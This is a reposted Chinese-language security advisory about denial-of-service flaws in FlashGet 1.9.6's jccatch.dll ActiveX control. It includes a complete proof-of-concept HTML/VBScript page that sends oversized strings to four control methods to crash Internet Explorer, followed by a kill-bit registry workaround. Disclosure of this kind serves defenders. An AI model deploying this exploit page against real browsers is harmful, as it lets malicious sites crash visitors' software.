FlashGet jccatch.dll ActiveX控件多个拒绝服务漏洞

来源:互联网 发布:小米手机网络短信 编辑:程序博客网 时间:2024/05/22 17:00

Submitted by 7jdg on 2007, October 20, 3:00 PM. 溢出

受影响的系统
 FlashGet 1.9.6.1073
 
 描述:
 
 FlashGet -全球最多人使用的下载工具。可支持多种资源格式。
 IE浏览器在以畸形参数调用FlashGet的jccatch.dll ActiveX控件时存在漏洞,恶意网站可能利用此漏洞导致用户浏览器崩溃。
 如果用户受骗打开了恶意的WEB页面的话,就会触发这个漏洞,导致浏览器崩溃。

 测试方法

XML/HTML代码
  1. -----------------------------------------------------------------------------<br>  
  2.  FlashGet jccatch.dll multiple methods Denial of Service<br>  
  3.  site: http://1v1.name<br>  
  4.  Tested on Windows XP Professional SP2 all patched, with Internet Explorer 6<br>  
  5. -----------------------------------------------------------------------------<br>  
  6. <object classid='clsid:FB5DA724-162B-11D3-8B9B-AA70B4B0B524' id='FlashGet'></object>  
  7. <select name="Pucca">  
  8.   <option value = "AddUrl">AddUrl</option>  
  9.   <option value = "AddFgUrl">AddFgUrl</option>  
  10.   <option value = "IsUrlExist">IsUrlExist</option>  
  11.   <option value = "Initialize">Initialize</option>  
  12. </select>  
  13. <input language=VBScript onclick=tryMe() type=button value="测试">  
  14. <script language='vbscript'>  
  15.  Sub tryMe   
  16.   on error resume next   
  17.    if Pucca.value="AddUrl" then   
  18.      argCount   = 3  
  19.      arg1="defaultV"  
  20.      arg2="defaultV"  
  21.      arg3=String(1000000, "A")   
  22.      FlashGet.AddUrl arg1 ,arg2 ,arg3   
  23.    elseif Pucca.value="AddFgUrl" then   
  24.      argCount   = 3  
  25.      arg1="defaultV"  
  26.      arg2="defaultV"  
  27.      arg3=String(1000000, "A")   
  28.      FlashGet.AddFgUrl arg1 ,arg2 ,arg3   
  29.    elseif Pucca.value="IsUrlExist" then   
  30.      argCount   = 1  
  31.      arg1=String(1000000, "A")   
  32.      FlashGet.IsUrlExist arg1   
  33.    elseif Pucca.value = "Initialize" then   
  34.      argCount = 2  
  35.      arg1="defaultV"  
  36.      arg2=String(1000000, "A")   
  37.      FlashGet.Initialize arg1 ,arg2    
  38.    end if   
  39.  End Sub   
  40. </script>  

临时解决方法:

在IE中禁用 FlashGet jccatch.dll ActiveX控件,为以下CLSID设置kill bit:
{FB5DA724-162B-11D3-8B9B-AA70B4B0B524}

或将以下文本保存为.REG文件并导入:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Internet Explorer/ActiveX Compatibility/{FB5DA724-162B-11D3-8B9B-AA70B4B0B524}]
"Compatibility Flags"=dword:00000400 

原创粉丝点击